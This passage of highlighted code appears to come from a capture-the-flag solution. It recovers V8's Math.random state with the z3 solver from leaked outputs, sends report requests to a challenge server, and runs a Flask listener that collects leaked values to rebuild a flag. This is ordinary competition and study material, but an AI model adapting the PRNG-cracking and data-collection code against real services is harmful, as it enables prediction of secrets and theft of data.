<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&quot;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/report&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">json</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&quot;</span><span style="color: #C96765">path</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">: </span><span style="color: #994CC3">f</span><span style="color: #C96765">&quot;/presets/</span><span style="color: #4876D6">{id}</span><span style="color: #C96765">&quot;</span><span style="color: #4876D6">}</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res.text</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #0C969B">report</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">A</span><span style="color: #111111">&quot;</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> MAX_PREFIX_LEN</span><span style="color: #403F53">)</span></span>
<span><span style="color: #0C969B">sleep</span><span style="color: #403F53">(</span><span style="color: #AA0982">5</span><span style="color: #403F53">)</span></span>
<span><span style="color: #0C969B">report</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;&quot;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #989FB1"># Crack Math.random</span></span>
<span><span style="color: #989FB1"># https://github.com/d0nutptr/v8_rand_buster</span></span>
<span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> os </span><span style="color: #994CC3">import</span><span style="color: #403F53"> cpu_count</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> z3 </span><span style="color: #994CC3">import</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span></span>
<span></span>
<span><span style="color: #4876D6">MAX_UNUSED_THREADS</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">2</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">xs128p</span><span style="color: #111111">(</span><span style="color: #0C969B">state0</span><span style="color: #403F53">, </span><span style="color: #0C969B">state1</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> state0 </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    s0 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> state1 </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> (s1 </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">23</span><span style="color: #403F53">) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> (s1 </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">17</span><span style="color: #403F53">) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> s0 </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> (s0 </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">26</span><span style="color: #403F53">) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    state0 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> state1 </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> s1 </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    generated </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (state0 </span><span style="color: #994CC3">+</span><span style="color: #403F53"> state1) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #994CC3">0x</span><span style="color: #AA0982">FFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> state0, state1, generated</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">sym_xs128p</span><span style="color: #111111">(</span><span style="color: #0C969B">sym_state0</span><span style="color: #403F53">, </span><span style="color: #0C969B">sym_state1</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> sym_state0</span></span>
<span><span style="color: #403F53">    s0 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> sym_state1</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> s1 </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">23</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> </span><span style="color: #0C969B">LShR</span><span style="color: #403F53">(</span><span style="color: #4876D6">s1</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">17</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> s0</span></span>
<span><span style="color: #403F53">    s1 </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> </span><span style="color: #0C969B">LShR</span><span style="color: #403F53">(</span><span style="color: #4876D6">s0</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">26</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    sym_state0 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> sym_state1</span></span>
<span><span style="color: #403F53">    sym_state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> s1</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> sym_state0, sym_state1</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">sym_floor_random</span><span style="color: #111111">(</span><span style="color: #0C969B">slvr</span><span style="color: #403F53">, </span><span style="color: #0C969B">sym_state0</span><span style="color: #403F53">, </span><span style="color: #0C969B">sym_state1</span><span style="color: #403F53">, </span><span style="color: #0C969B">generated</span><span style="color: #403F53">, </span><span style="color: #0C969B">multiple</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    sym_state0, sym_state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">sym_xs128p</span><span style="color: #403F53">(</span><span style="color: #4876D6">sym_state0</span><span style="color: #111111">,</span><span style="color: #4876D6"> sym_state1</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    calc </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (sym_state0 </span><span style="color: #994CC3">+</span><span style="color: #403F53"> sym_state1) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #0C969B">BitVecVal</span><span style="color: #403F53">(</span><span style="color: #4876D6">(</span><span style="color: #AA0982">1</span><span style="color: #4876D6"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #4876D6"> </span><span style="color: #AA0982">53</span><span style="color: #4876D6">) </span><span style="color: #994CC3">-</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    coef </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">53</span><span style="color: #403F53">) </span><span style="color: #994CC3">/</span><span style="color: #403F53"> multiple</span></span>
<span><span style="color: #403F53">    lower </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">(</span><span style="color: #4876D6">generated </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> coef</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    upper </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">(</span><span style="color: #4876D6">(generated </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #4876D6">) </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> coef</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    slvr.</span><span style="color: #0C969B">add</span><span style="color: #403F53">(</span><span style="color: #0C969B">ULE</span><span style="color: #403F53">(</span><span style="color: #0C969B">BitVecVal</span><span style="color: #403F53">(</span><span style="color: #4876D6">lower</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)</span><span style="color: #111111">,</span><span style="color: #4876D6"> calc</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">    slvr.</span><span style="color: #0C969B">add</span><span style="color: #403F53">(</span><span style="color: #0C969B">ULE</span><span style="color: #403F53">(</span><span style="color: #4876D6">calc</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #0C969B">BitVecVal</span><span style="color: #403F53">(</span><span style="color: #4876D6">upper</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)))</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> sym_state0, sym_state1</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">solve</span><span style="color: #111111">(</span><span style="color: #0C969B">points</span><span style="color: #403F53">, </span><span style="color: #0C969B">multiple</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    ostate0, ostate1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">BitVecs</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">ostate0 ostate1</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    sym_state0 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> ostate0</span></span>
<span><span style="color: #403F53">    sym_state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> ostate1</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">set_option</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">parallel.enable</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #BC5454">True</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">set_option</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">parallel.threads.max</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> max</span><span style="color: #403F53">(</span><span style="color: #0C969B">cpu_count</span><span style="color: #403F53">()</span><span style="color: #4876D6"> </span><span style="color: #994CC3">-</span><span style="color: #4876D6"> MAX_UNUSED_THREADS</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">    slvr </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">SolverFor</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">QF_BV</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> point </span><span style="color: #994CC3">in</span><span style="color: #403F53"> points:</span></span>
<span><span style="color: #403F53">        sym_state0, sym_state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">sym_floor_random</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">            slvr</span><span style="color: #111111">,</span><span style="color: #4876D6"> sym_state0</span><span style="color: #111111">,</span><span style="color: #4876D6"> sym_state1</span><span style="color: #111111">,</span><span style="color: #4876D6"> point</span><span style="color: #111111">,</span><span style="color: #4876D6"> multiple</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> slvr.</span><span style="color: #0C969B">check</span><span style="color: #403F53">() </span><span style="color: #994CC3">==</span><span style="color: #403F53"> sat</span></span>
<span></span>
<span><span style="color: #403F53">    m </span><span style="color: #994CC3">=</span><span style="color: #403F53"> slvr.</span><span style="color: #0C969B">model</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    state0 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> m[ostate0].</span><span style="color: #0C969B">as_long</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> m[ostate1].</span><span style="color: #0C969B">as_long</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> state0, state1</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">to_double</span><span style="color: #111111">(</span><span style="color: #0C969B">value</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> (value </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> ((</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">53</span><span style="color: #403F53">) </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)) </span><span style="color: #994CC3">/</span><span style="color: #403F53"> (</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">53</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">gen</span><span style="color: #111111">(</span><span style="color: #0C969B">seeds</span><span style="color: #403F53">, </span><span style="color: #0C969B">multiple</span><span style="color: #403F53">, </span><span style="color: #0C969B">count</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    state0, state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> seeds</span></span>
<span><span style="color: #403F53">    points </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> _ </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">count</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        state0, state1, output </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">xs128p</span><span style="color: #403F53">(</span><span style="color: #4876D6">state0</span><span style="color: #111111">,</span><span style="color: #4876D6"> state1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        points.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #4876D6">math.</span><span style="color: #0C969B">floor</span><span style="color: #403F53">(</span><span style="color: #4876D6">multiple </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #0C969B">to_double</span><span style="color: #403F53">(</span><span style="color: #4876D6">output</span><span style="color: #403F53">)))</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> points</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #637777"># Receive requests</span></span>
<span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> flask </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> Flask, request, make_response</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> threading </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> Thread</span></span>
<span></span>
<span><span style="color: #82AAFF">URL</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">http://104.198.119.144:7891</span><span style="color: #D9F5DD">&quot;</span></span>
<span><span style="color: #82AAFF">PORT</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1337</span></span>
<span><span style="color: #82AAFF">MAX_PREFIX_LEN</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">25</span></span>
<span><span style="color: #82AAFF">FLAG_LEN</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">48</span></span>
<span></span>
<span><span style="color: #D6DEEB">flag </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;&quot;</span></span>
<span></span>
<span><span style="color: #D6DEEB">app </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">Flask</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">__name__</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C5E478">@app.route</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">/result</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">methods</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">OPTIONS</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">cors</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    response </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">make_response</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    response.headers[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Access-Control-Allow-Origin</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">*</span><span style="color: #D9F5DD">&quot;</span></span>
<span><span style="color: #D6DEEB">    response.headers[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Access-Control-Allow-Headers</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Content-Type</span><span style="color: #D9F5DD">&quot;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> response</span></span>
<span></span>
<span></span>
<span><span style="color: #C5E478">@app.post</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">/result</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">post_result</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">global</span><span style="color: #D6DEEB"> flag</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">assert</span><span style="color: #D6DEEB"> request.json</span></span>
<span><span style="color: #D6DEEB">    prefix </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> request.json[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">prefix</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">]</span></span>
<span><span style="color: #D6DEEB">    result </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> request.json[</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">result</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> flag </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;&quot;</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">MAX_PREFIX_LEN</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            flag </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">ord</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">prefix</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">])</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">result</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #82AAFF"> : i </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flag</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        points </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">MAX_PREFIX_LEN</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            points.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">ord</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flag</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">])</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">result</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #82AAFF"> : i </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Start solving</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        seeds </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">solve</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">points</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">65536</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        points </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">gen</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">seeds</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">65536</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> FLAG_LEN</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">MAX_PREFIX_LEN</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> FLAG_LEN</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            flag </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">chr</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">points</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i</span><span style="color: #D6DEEB">]</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">result</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">i </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #82AAFF"> : i </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flag</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">quit</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">ok</span><span style="color: #D9F5DD">&quot;</span></span>
<span></span>
<span></span>
<span><span style="color: #B2CCD6">Thread</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">target</span><span style="color: #C792EA">=lambda</span><span style="color: #82AAFF">: app.</span><span style="color: #B2CCD6">run</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">host</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">0.0.0.0</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D7DBE0">port</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">PORT</span><span style="color: #D6DEEB">)).</span><span style="color: #B2CCD6">start</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span><span style="color: #637777"># Send requests</span></span>
<span></span>
<span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> requests</span></span>
